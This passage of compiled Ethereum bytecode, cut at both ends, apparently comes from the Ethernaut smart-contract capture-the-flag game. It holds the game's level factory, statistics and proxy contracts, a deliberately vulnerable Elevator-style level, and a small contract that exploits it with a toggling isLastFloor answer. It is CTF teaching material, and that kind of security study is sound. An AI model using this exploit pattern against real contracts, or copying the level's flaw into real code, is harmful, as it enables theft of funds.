e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002368575f80fd5b8151620019f28162001b11565b5f6020828403121562002386575f80fd5b5051919050565b808201808211156200163b576200163b620021ad565b604081525f620023b7604083018562001cfb565b8281036020840152620023cb818562001cfb565b95945050505050565b5f60208284031215620023e5575f80fd5b815167ffffffffffffffff811115620023fc575f80fd5b620022218482850162001ffe56fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105f38061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610331565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610353565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610331565b6101bb565b610114610250565b61011d5f6102a9565b565b5f8060405161012d90610310565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050806001600160a01b031663fe6dcdba6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b3919061038a565b949350505050565b6101c3610250565b6001600160a01b0381166102445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024d816102a9565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023b565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610214806103aa83390190565b6001600160a01b038116811461024d575f80fd5b5f60208284031215610341575f80fd5b813561034c8161031d565b9392505050565b5f8060408385031215610364575f80fd5b823561036f8161031d565b9150602083013561037f8161031d565b809150509250929050565b5f6020828403121561039a575f80fd5b8151801515811461034c575f80fdfe608060405234801561000f575f80fd5b506101f78061001d5f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c80634069536314610043578063ed9a71341461005f578063fe6dcdba14610074575b5f80fd5b61004c60015481565b6040519081526020015b60405180910390f35b61007261006d366004610184565b610090565b005b5f546100809060ff1681565b6040519015158152602001610056565b604051632fcd25e560e11b81526004810182905233908190635f9a4bca906024016020604051808303815f875af11580156100cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100f1919061019b565b610180576001829055604051632fcd25e560e11b81526004810183905273ffffffffffffffffffffffffffffffffffffffff821690635f9a4bca906024016020604051808303815f875af115801561014b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061016f919061019b565b5f805460ff19169115159190911790555b5050565b5f60208284031215610194575f80fd5b5035919050565b5f602082840312156101ab575f80fd5b815180151581146101ba575f80fd5b939250505056fea2646970667358221220ecb8fe45bca969d79077e5b7f0d22bb397e660f136524e2d4955dbac43818fae64736f6c63430008180033a2646970667358221220d2757874285fee59d6513c5923b9aa2cd3357051380b2235ff3bb580d92112e964736f6c6343000818003360806040525f805460ff1916600117905534801561001b575f80fd5b506101a7806100295f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c80635f9a4bca14610043578063bc6ba2431461007e578063d018db3e1461008a575b5f80fd5b61006a610051366004610120565b505f805460ff19811660ff918216159081179092551690565b604051901515815260200160405180910390f35b5f5461006a9060ff1681565b61009d610098366004610137565b61009f565b005b6040517fed9a7134000000000000000000000000000000000000000000000000000000008152600a6004820152819073ffffffffffffffffffffffffffffffffffffffff82169063ed9a7134906024015f604051808303815f87803b158015610106575f80fd5b505af1158015610118573d5f803e3d5ffd5b505050505050565b5f60208284031215610130575f80fd5b5035919050565b5f60208284031215610147575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461016a575f80fd5b939250505056fea264697066735822122029d8d314b427d7de43bb0b23256212bcd7767482a464ba04044277b051070a4664736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220a85cbee8284c8e1905667818d394c008bea87954a